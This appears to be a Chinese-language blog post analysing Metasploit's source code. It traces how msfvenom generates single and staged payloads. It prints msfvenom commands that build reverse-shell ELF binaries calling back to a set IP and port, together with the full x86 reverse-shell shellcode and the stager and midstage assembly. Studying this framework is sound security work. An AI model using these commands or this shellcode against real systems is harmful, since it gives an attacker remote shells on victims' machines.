一、msf 結構

1.1. 架構圖

架構圖如下所示:

其中metasploit最重要的部分為模塊部分,,分別為輔助模塊(Auxiliary)、滲透攻擊模塊(Exploits)、后滲透攻擊模塊(Post)、攻擊載荷模塊(payloads)、編碼器模塊(Encoders)、空指令模塊(Nops)以及免殺模塊(Evasion)。其功能如下:

輔助模塊:通過對網絡服務的掃描,收集登陸密碼或者 Fuzz 測試發掘漏洞等方式取得目標系統豐富的情報信息,從而發起精準攻擊。

滲透攻擊模塊:包括利用已發現的安全漏洞等方式對目標發起攻擊,執行攻擊載荷的主動攻擊和利用偽造的 office 文檔或瀏覽器等方式使目標上的用戶自動觸發執行攻擊載荷的被動攻擊。

空指令模塊:跟隨滲透攻擊模塊成功后的造成任何實質影響的空操作或者無關操作指令的無效植入代碼,目的保證后面的攻擊載荷能順利執行。常見的在 x86 CPU 體系架構平臺上的操作碼是 0x90。

攻擊載荷模塊:跟隨滲透攻擊模塊成功后在目標系統運行的有效植入代碼,目標是建立連接,得到目標 shell。

編碼器模塊:同空指令模塊作用相似,保證不會受到漏洞參數或者目標系統類型的限制導致無法順利執行。

后滲透攻擊模塊:在獲取到目標 shell 之后,進行后滲透攻擊,比如獲取信息,跳板甚至內網滲透。

免殺模塊:作為 V5 版本新增的功能,只包含對 windows defender 類型。免殺方式較為簡單,申請內存,拷貝攻擊載荷,執行攻擊載荷。

1.2. 攻擊鏈

基于模塊功能可以得到如下圖所示攻擊鏈:

 

一個完整的msf攻擊過程會包括 payloads生成,編碼(可選),添加空指令,生成有效載荷并執行攻擊。獲取到shell后可使用后滲透模塊以及輔助模塊協助滲透等等。而其中最重要的功能則是攻擊載荷模塊也就是payloads的生成模塊。

二、payloads

可以分為兩類:stage和stageless,其中:

◆stageless為獨立載荷(Single),可以直接植入目標系統并執行相應的程序。

◆stage為分階段載荷,包括:

stager: 傳輸器載荷,用于目標機與攻擊機之間建立穩定的網絡連接,與傳輸體載荷配合攻擊。通常該種載荷體積都非常小,可以在漏洞利用后方便注入。

stage: 傳輸體載荷,如 shell、meterpreter 等。在 stager 建立好穩定的連接后,攻擊機將 stage 傳輸給目標機,由 stagers 進行相應處理,將控制權轉交給 stage。比如得到目標機的 shell,或者 meterpreter 控制程序運行。

payload生成使用msfvenom作為入口函數。

2.1. Single

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > meterpreter_reverse_tcp為例。

首先調用msfvenom中的venom_generator.generate_payload函數。

跟進對應函數,路徑為payload_generator.rb。通過一系列參數檢查。然后調用generate_raw_payload函數。

跟進,調用payload_module.generate_simple,路徑為simple\payload.rb,調用Msf::Simple::Payload.generate_simple(self, opts, &block)

跟進,調用EncodedPayload.create,路徑為encoded_payload.rb,調用generate函數。

跟進,調用generate_raw(),然后調用generate_complete函數。

跟進,調用apply_prepends(generate)。這里根據generate選擇對應的生成函數。在本例中,選擇的是meterpreter_reverse_tcp.rb

跟進,查看對應的 generate函數,調用MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec

跟進generate_config,根據 datastore設定對應的config文件,然后調用Mettle.new()函數實例化對象,調用to_binary函數生成對應的bin文件。

to_binary函數如下:

#
    # Available formats are :process_image, :dylib, :dylib_sha1 and :exec
    #
    def to_binary(format=:process_image)
      # 讀取模板
      bin = self.class.read(@platform, format)
      unless @config.empty?
        # 將配置文件轉化為串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` +  "\x00" * (CMDLINE_MAX - cmd_line.length)
        params = generate_argv
        # 將串插入到模板中
        bin = add_args(bin, params)
      end
      bin
    end

add_args函數如下:

def add_args(bin, params)
      if params[8] != "\x00"
        # 替換對應位置內容,查詢知應為rdata區。
        bin.sub(CMDLINE_SIG +  ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
      else
        bin
      end
    end

然后調用payload_generator中的format_payload(raw_payload)得到最終的payload可執行程序。

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp為例,前面都同上,在調用apply_prepends(generate)時本例中,選擇的是shell_reverse_tcp.rb

其完整內容如下:

    "\x31\xdb"             + #   xor ebx,ebx
    "\xf7\xe3"             + #   mul ebx
    "\x53"                 + #   push ebx
    "\x43"                 + #   inc ebx
    "\x53"                 + #   push ebx
    "\x6a\x02"             + #   push byte +0x2
    "\x89\xe1"             + #   mov ecx,esp
    "\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
    "\xcd\x80"             + #   int 0x80
    "\x93"                 + #   xchg eax,ebx
    "\x59"                 + #   pop ecx
    "\xb0\x3f"             + #   mov al,0x3f (sys_dup2)
    "\xcd\x80"             + #   int 0x80
    "\x49"                 + #   dec ecx
    "\x79\xf9"             + #   jns 0x11
    "\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + #   push ip addr
    "\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + #   push port
    "\x89\xe1"             + #   mov ecx,esp
    "\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
    "\x50"                 + #   push eax
    "\x51"                 + #   push ecx
    "\x53"                 + #   push ebx
    "\xb3\x03"             + #   mov bl,0x3
    "\x89\xe1"             + #   mov ecx,esp
    "\xcd\x80"             + #   int 0x80
    "\x52"                 + #   push edx
    # Split shellname into 4-byte words and push them one-by-one
    # on to the stack
    shell_padded.bytes.reverse.each_slice(4).map do |word|
      "\x68" + word.reverse.pack('C*')
    end.join +
    "\x89\xe3"             + #   mov ebx,esp
    "\x52"                 + #   push edx
    "\x53"                 + #   push ebx
    "\x89\xe1"             + #   mov ecx,esp
    "\xb0\x0b"             + #   mov al,0xb (execve)
    "\xcd\x80"              #   int 0x80

與上文不同的是這邊生成的是一段shellcode,在后面的format_payload(raw_payload)階段,會將shellcode插入到一個ELF中,并修改對應的偏移,得到最后完整的可執行elf文件。

在本例中,templates路徑為/data/templates/template_x86_linux.bin

2.2. stage

2.2.1. stager

-p linux/x86/meterpreter/reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > reverse_tcp為例: 在在調用apply_prepends(generate)時本例中,選擇的是reverse_tcp_x86.rb。和前述不同的是,對應代碼不是在modules目錄下,而是在core目錄下。

最終生成的shellcode如下:

    asm = %Q^
        push #{retry_count}        ; retry counter
        pop esi
      create_socket:
        xor ebx, ebx
        mul ebx
        push ebx
        inc ebx
        push ebx
        push 0x2
        mov al, 0x66
        mov ecx, esp
        int 0x80                   ; sys_socketcall (socket())
        xchg eax, edi              ; store the socket in edi
      set_address:
        pop ebx                    ; set ebx back to zero
        push #{encoded_host}
        push #{encoded_port}
        mov ecx, esp
      try_connect:
        push 0x66
        pop eax
        push eax
        push ecx
        push edi
        mov ecx, esp
        inc ebx
        int 0x80                   ; sys_socketcall (connect())
        test eax, eax
        jns mprotect
      handle_failure:
        dec esi
        jz failed
        push 0xa2
        pop eax
        push 0x#{sleep_nanoseconds.to_s(16)}
        push 0x#{sleep_seconds.to_s(16)}
        mov ebx, esp
        xor ecx, ecx
        int 0x80                   ; sys_nanosleep
        test eax, eax
        jns create_socket
        jmp failed
    ^
    asm << asm_send_uuid if include_send_uuid
    asm << %Q^
      mprotect:
        mov dl, 0x#{mprotect_flags.to_s(16)}
        mov ecx, 0x1000
        mov ebx, esp
        shr ebx, 0xc
        shl ebx, 0xc
        mov al, 0x7d
        int 0x80                  ; sys_mprotect
        test eax, eax
        js failed
      recv:
        pop ebx
        mov ecx, esp
        cdq
        mov #{read_reg},  0x#{read_length.to_s(16)}
        mov al, 0x3
        int 0x80                  ; sys_read (recv())
        test eax, eax
        js failed
        jmp ecx
      failed:
        mov eax, 0x1
        mov ebx, 0x1              ; set exit status to 1
        int 0x80                  ; sys_exit
    ^
    asm
  end

2.2.2. stage

在第一階段建立連接后,攻擊機會向靶機投遞第二階段payload。生成對應的mettle.bin并發送到靶機。在攻擊機上啟動監聽之后,靶機上執行stager,會馬上建立一個socket連接,同時msf啟動一個新的線程,準備生成stage并投遞給靶機。中間還會生成一段midstage,其內容如下:

    %(
      push edi                    ; save sockfd
      xor ebx, ebx                ; address
      mov ecx, #{payload.length}  ; length
      mov edx, 7                  ; PROT_READ | PROT_WRITE | PROT_EXECUTE
      mov esi, 34                 ; MAP_PRIVATE | MAP_ANONYMOUS
      xor edi, edi                ; fd
      xor ebp, ebp                ; pgoffset
      mov eax, 192                ; mmap2
      int 0x80                    ; syscall
      ; receive mettle process image
      mov edx, eax                ; save buf addr for next code block
      pop ebx                     ; sockfd
      push 0x00000100             ; MSG_WAITALL
      push #{payload.length}      ; size
      push eax                    ; buf
      push ebx                    ; sockfd
      mov ecx, esp                ; arg array
      mov ebx, 10                 ; SYS_READ
      mov eax, 102                ; sys_socketcall
      int 0x80                    ; syscall
      ; setup stack
      pop edi
      xor ebx, ebx
      and esp, 0xfffffff0         ; align esp
      add esp, 40
      mov eax, 109
      push eax
      mov esi, esp
      push ebx                    ; NULL
      push ebx                    ; AT_NULL
      push edx                    ; mmap buffer
      mov eax, 7
      push eax                    ; AT_BASE
      push ebx                    ; end of ENV
      push ebx                    ; NULL
      push edi                    ; sockfd
      push esi                    ; m
      mov eax, 2
      push eax                    ; argc
      ; down the rabbit hole
      mov eax, #{entry_offset}
      add edx, eax
      jmp edx
    )
  end

之后則是mettle.bin的發送流程。略過。

三、msf新建payload流程分析

/usr/share/metasploit-framework/lib/msf/core/payload.rb:303:in `generate_complete'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:118:in `generate_raw'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:74:in `generate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:24:in `create'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:52:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:139:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:478:in `generate_raw_payload'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:422:in `generate_payload'
/usr/bin/msfvenom:469:in `
'

使用msfvenom生成payload :msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.96.101.161 LPORT=8888 -f elf > shell_reverse_tcp

begin
  venom_generator = Msf::PayloadGenerator.new(generator_opts)
  payload = venom_generator.generate_payload
rescue Msf::InvalidFormat => e
  $stderr.puts "Error: #{e.message}"
  $stderr.puts dump_formats
rescue ::Exception => e
  elog("#{e.class} : #{e.message}#{e.backtrace * ""}")
  $stderr.puts "Error: #{e.message}"
end

跟進payload = venom_generator.generate_payload

# This method is a wrapper around all of the other methods. It calls the correct
    # methods in order based on the supplied options and returns the finished payload.
    # @return [String] A string containing the bytes of the payload in the format selected
    def generate_payload
        ...
        raw_payload = generate_raw_payload
        raw_payload = add_shellcode(raw_payload)
        ## 后面是原始payload編碼混淆
        if encoder != nil and encoder.start_with?("@")
          raw_payload = multiple_encode_payload(raw_payload)
        else
          raw_payload = encode_payload(raw_payload)
        end
        if padnops
          @nops = nops - raw_payload.length
        end
        raw_payload = prepend_nops(raw_payload)
        gen_payload = format_payload(raw_payload)
      end

跟進raw_payload生成函數raw_payload = generate_raw_payload

 
# This method generates the raw form of the payload as generated by the payload module itself.
    # @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload
    # @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload
    # @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload
    # @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload
    # @return [String] the raw bytes of the payload to be generated
    def generate_raw_payload
      if payload == 'stdin'
        if arch.blank?
          raise IncompatibleArch, "You must select an arch for a custom payload"
        elsif platform.blank?
          raise IncompatiblePlatform, "You must select a platform for a custom payload"
        end
        stdin
      else
        raise PayloadGeneratorError, "A payload module was not selected" if payload_module.nil?
        chosen_platform = choose_platform(payload_module)
        if chosen_platform.platforms.empty?
          raise IncompatiblePlatform, "The selected platform is incompatible with the payload"
        end
        chosen_arch = choose_arch(payload_module)
        unless chosen_arch
          raise IncompatibleArch, "The selected arch is incompatible with the payload"
        end
        # 這里是生成的位置
        payload_module.generate_simple(
            'Format'      => 'raw',
            'Options'     => datastore,
            'Encoder'     => nil,
            'MaxSize'     => @space,
            'DisableNops' => true
        )
      end
    end

跟進generate_simple

  # Calls the class method.
  #
  def generate_simple(opts, &block)
    Msf::Simple::Payload.generate_simple(self, opts, &block)
  end

再跟進

  # Generate a payload with the mad skillz.  The payload can be generated in
  # a number of ways.
  #
  # opts can have:
  #
  #   Encoder     => A encoder module name.
  #   BadChars    => A string of bad characters.
  #   Format      => The format to represent the data as: ruby, perl, c, raw
  #   Options     => A hash of options to set.
  #   OptionStr   => A string of options in VAR=VAL form separated by
  #                  whitespace.
  #   NoComment   => Disables prepention of a comment
  #   NopSledSize => The number of NOPs to use
  #   MaxSize     => The maximum size of the payload.
  #   Iterations  => Number of times to encode.
  #   Force       => Force encoding.
  #
  # raises:
  #
  #   BadcharError => If the supplied encoder fails to encode the payload
  #   NoKeyError => No valid encoder key could be found
  #   ArgumentParseError => Options were supplied improperly
  #
  def self.generate_simple(payload, opts, &block)
    # Clone the module to prevent changes to the original instance
    payload = payload.replicant
    Msf::Simple::Framework.simplify_module(payload)
    yield(payload) if block_given?
    # Import any options we may need
    payload._import_extra_options(opts)
    framework = payload.framework
    # Generate the payload
    e = EncodedPayload.create(payload,
        'BadChars'    => opts['BadChars'],
        'MinNops'     => opts['NopSledSize'],
        'PadNops'     => opts['PadNops'],
        'Encoder'     => opts['Encoder'],
        'Iterations'  => opts['Iterations'],
        'ForceEncode' => opts['ForceEncode'],
        'DisableNops' => opts['DisableNops'],
        'Space'       => opts['MaxSize'])
   ...

再跟進create

  
#
  # This method creates an encoded payload instance and returns it to the
  # caller.
  #
  def self.create(pinst, reqs = {})
    # Create the encoded payload instance
    p = EncodedPayload.new(pinst.framework, pinst, reqs)
    p.generate(reqs['Raw'])
    return p
  end

跟進generate

#
  # This method generates the full encoded payload and returns the encoded
  # payload buffer.
  #
  # @return [String] The encoded payload.
  def generate(raw = nil)
    self.raw           = raw
    self.encoded       = nil
    self.nop_sled_size = 0
    self.nop_sled      = nil
    self.encoder       = nil
    self.nop           = nil
    # Increase thread priority as necessary.  This is done
    # to ensure that the encoding and sled generation get
    # enough time slices from the ruby thread scheduler.
    priority = Thread.current.priority
    if (priority == 0)
      Thread.current.priority = 1
    end
    begin
      # First, validate
      pinst.validate()
      # Propagate space information when set
      unless self.space.nil?
        # Tell the payload how much space is available
        pinst.available_space = self.space
        # Reserve 10% of the available space if encoding is required
        pinst.available_space -= (self.space * 0.1).ceil if needs_encoding
      end
      # Generate the raw version of the payload first
      generate_raw() if self.raw.nil?
....

再跟進generate_raw()

  
#
  # Generates the raw payload from the payload instance.  This populates the
  # {#raw} attribute.
  #
  # @return [String] The raw, unencoded payload.
  def generate_raw
    self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
    # If an encapsulation routine was supplied, then we should call it so
    # that we can get the real raw payload.
    if reqs['EncapsulationRoutine']
      self.raw = reqs['EncapsulationRoutine'].call(reqs, raw)
    end
  end

最后到generate_complete

#
  # Generates the payload and returns the raw buffer to the caller,
  # handling any post-processing tasks, such as prepended code stubs.
  def generate_complete
    apply_prepends(generate)
  end

這個位置的generate為一個對象,在本例中,最后指向的是shell_reverse_tcp.rb

將對應的opcode提取出來,生成raw_payload,然后通過format_payload生成對應的elf可執行文件。

四、總結

本文結合msf源碼簡單分析了msf的payload生成,需要注意的是,msf大部分后滲透階段的工具都在Post 模塊上,但是其調用分析也是類似的,如果對其有興趣可以詳細的學習一下。